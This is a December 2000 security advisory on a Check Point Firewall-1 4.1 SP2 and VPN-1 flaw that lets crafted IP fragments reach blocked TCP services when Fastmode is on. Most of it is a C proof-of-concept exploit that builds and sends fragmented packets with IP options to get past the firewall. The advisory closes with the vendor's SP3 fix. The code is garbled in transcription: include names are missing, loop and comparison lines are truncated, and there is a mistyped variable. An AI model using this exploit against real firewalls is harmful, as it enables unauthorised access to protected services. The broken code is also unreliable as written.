Reported December 18, 2000 by Thomas
Lopatic
VERSIONS AFFECTED
- Firewall-1 4.1 Service Pack 2 (SP2) and earlier
- Check Point VPN-1
DESCRIPTION
A vulnerability exists in Firewall-1 4.1 SP2 and earlier and Check Point
VPN-1. An attacker can use the vulnerability to connect to block TCP
services through the firewall in certain configurations.
The
vulnerability is possible only if Fastmode is enabled. Fastmode is
disabled by default on Firewall-1 and Check Point VPN-1 installations.
DEMONSTRATION
Thomas
Lopatic has supplied the following proof-of-concept code:
#define _BSD_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
struct pseudo \{
unsigned long source;
unsigned long dest;
unsigned char zero;
unsigned char proto;
unsigned short len;
\};
/*
* -------------------- config --------------------
*/
static char tap_device\[\] = "/dev/tap0";
static char local_ip_addr\[\] = "172.16.0.1";
static unsigned char dst_mac_addr\[\] = \{
0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
\};
static int num_hops = 1;
/*
* ------------------------------------------------
*/
static void hex_dump(unsigned char *buff, int len)
\{
int i, k;
for (i = 0; i
printf("%.4x: ", i);
for (k = 0; i + k
printf("%.2x ", buff\[i + k\]);
while (k++
printf(" ");
for (k = 0; i + k
if (buff\[i + k\] >= 32 && buff\[i + k\]
printf("%c", buff\[i + k\]);
else
printf(".");
printf("\n");
\}
\}
int full_write(int f, char *data, int len)
\{
int res;
while (len > 0) \{
if ((res = write(f, data, len))
return res;
len -= res;
data += res;
\}
return 0;
\}
static u_short calc_sum(u_short start, u_short *buff, int
bytelen)
\{
u_long sum = start;
u_short last = 0;
int wordlen;
wordlen = bytelen / 2;
bytelen &= 1;
while (wordlen--)
sum += *buff++;
if (bytelen) \{
*((u_char *)&last) = *((u_char *)buff);
sum += last;
\}
sum = (sum >> 16) + (sum & 0xffff);
sum = (sum >> 16) + (sum & 0xffff);
return sum;
\}
static void usage()
\{
fprintf(stderr, "usage: frag v-addr f-port o-port
v-port\n");
\}
int main(int ac, char *av\[\])
\{
int t;
unsigned char dgram\[136\];
struct ether_header eh;
unsigned char iph_buff\[60\];
struct ip *iph;
unsigned char tcph_buff\[60\];
struct tcphdr *tcph;
unsigned long la, va;
unsigned short fp, op, vp;
struct pseudo ph;
unsigned short fid;
if (ac != 5) \{
usage();
return 1;
\}
if ((va = inet_addr(av\[1\])) == (unsigned long)-1) \{
fprintf(stderr, "invalid victim address given\n");
usage();
return 1;
\}
if (!(fp = htons(atoi(av\[2\])))) \{
fprintf(stderr, "invalid fastmode port given\n");
usage();
return 1;
\}
if (!(op = htons(atoi(av\[3\])))) \{
fprintf(stderr, "invalid open port given\n");
usage();
return 1;
\}
if (!(vp = htons(atoi(av\[4\])))) \{
fprintf(stderr, "invalid victim port given\n");
usage();
return 1;
\}
la = inet_addr(local_ip_addr);
fid = (unsigned short)getpid();
iph = (struct ip *)iph_buff;
tcph = (struct tcphdr *)tcph_buff;
if ((t = open(tap_device, O_RDWR))
perror("open");
return 2;
\}
/*
* -------------------- PACKET #1 --------------------
*/
ph.source = la;
ph.dest = va;
ph.zero = 0;
ph.proto = IPPROTO_TCP;
ph.len = htons(20);
tcph->th_sport = fp;
tcph->th_dport = vp;
tcph->th_seq = htonl(0x19711219);
tcph->th_ack = htonl(0x19720201);
tcph->th_x2 = 0;
tcph->th_off = 5;
tcph->th_win = htons(16384);
tcph->th_urp = htons(0);
tcph->th_flags = TH_SYN;
/*
* Must be the "with SYN" checksum. The ACK will be
overwritten
* by the second packet.
*/
tcph->th_sum = 0;
tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
(u_short *)tcph, ntohs(ph.len));
tcph->th_flags = TH_ACK;
iph->ip_v = IPVERSION;
iph->ip_tos = 0;
iph->ip_id = htons(fid);
iph->ip_ttl = 64;
iph->ip_p = IPPROTO_TCP;
iph->ip_src.s_addr = la;
iph->ip_dst.s_addr = va;
memcpy(eh.ether_dhost, dst_mac_addr, 6);
memset(eh.ether_shost, 0, 6);
eh.ether_type = htons(ETHERTYPE_IP);
dgram\[0\] = dgram\[1\] = 0;
memcpy(dgram + 2, &eh, 14);
/*
* ---------- Fragment #1 ----------
*/
iph->ip_hl = 5;
iph->ip_len = htons(28);
iph->ip_off = htons(IP_MF);
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
memcpy(dgram + 16, iph_buff, 20);
memcpy(dgram + 36, tcph_buff, 8);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44)
perror("write");
close(t);
return 3;
\}
/*
* ---------- Fragment #2 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(32);
iph->ip_off = htons(1 | IP_MF);
iph_buff\[20\] = 68;
iph_buff\[21\] = 4;
iph_buff\[22\] = 5;
iph_buff\[23\] = (15 - num_hops)
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 8, 8);
hex_dump(dgram, 48); printf("\n");
if (full_write(t, dgram, 48)
perror("write");
close(t);
return 3;
\}
/*
* ---------- Fragment #3 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(28);
iph->ip_off = htons(2);
iph_buff\[20\] = 1;
iph_buff\[21\] = 1;
iph_buff\[22\] = 1;
iph_buff\[23\] = 1;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 16, 4);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44)
perror("write");
close(t);
return 3;
\}
/*
* -------------------- PACKET #2 --------------------
*/
getchar();
tcph->th_sport = htons(1024);
tcph->th_dport = op;
tcph->th_flags = TH_SYN;
/*
* But then again, the fragment with the checksum will be
dropped anyway...
*/
tcph->th_sum = 0;
tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
(u_short *)tcph, ntohs(ph.len));
/*
* ---------- Fragment #1 ----------
*/
iph->ip_hl = 5;
iph->ip_len = htons(28);
iph->ip_off = htons(IP_MF);
ph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
memcpy(dgram + 16, iph_buff, 20);
memcpy(dgram + 36, tcph_buff, 8);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44)
perror("write");
close(t);
return 3;
\}
/*
* ---------- Fragment #2 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(32);
iph->ip_off = htons(1 | IP_MF);
iph_buff\[20\] = 1;
iph_buff\[21\] = 1;
iph_buff\[22\] = 1;
iph_buff\[23\] = 1;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 8, 8);
hex_dump(dgram, 48); printf("\n");
if (full_write(t, dgram, 48)
perror("write");
close(t);
return 3;
\}
/*
---------- Fragment #3 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(28);
iph->ip_off = htons(2);
iph_buff\[20\] = 68;
iph_buff\[21\] = 4;
iph_buff\[22\] = 5;
iph_buff\[23\] = (15 - num_hops)
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 16, 4);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44)
perror("write");
close(t);
return 3;
\}
close(t);
return 0;
\}
VENDOR RESPONSE
Check Point has released SP3 that, along with other
issues, fixes this vulnerability. http://www.checkpoint.com
CREDIT Discovered by Thomas
Lopatic
|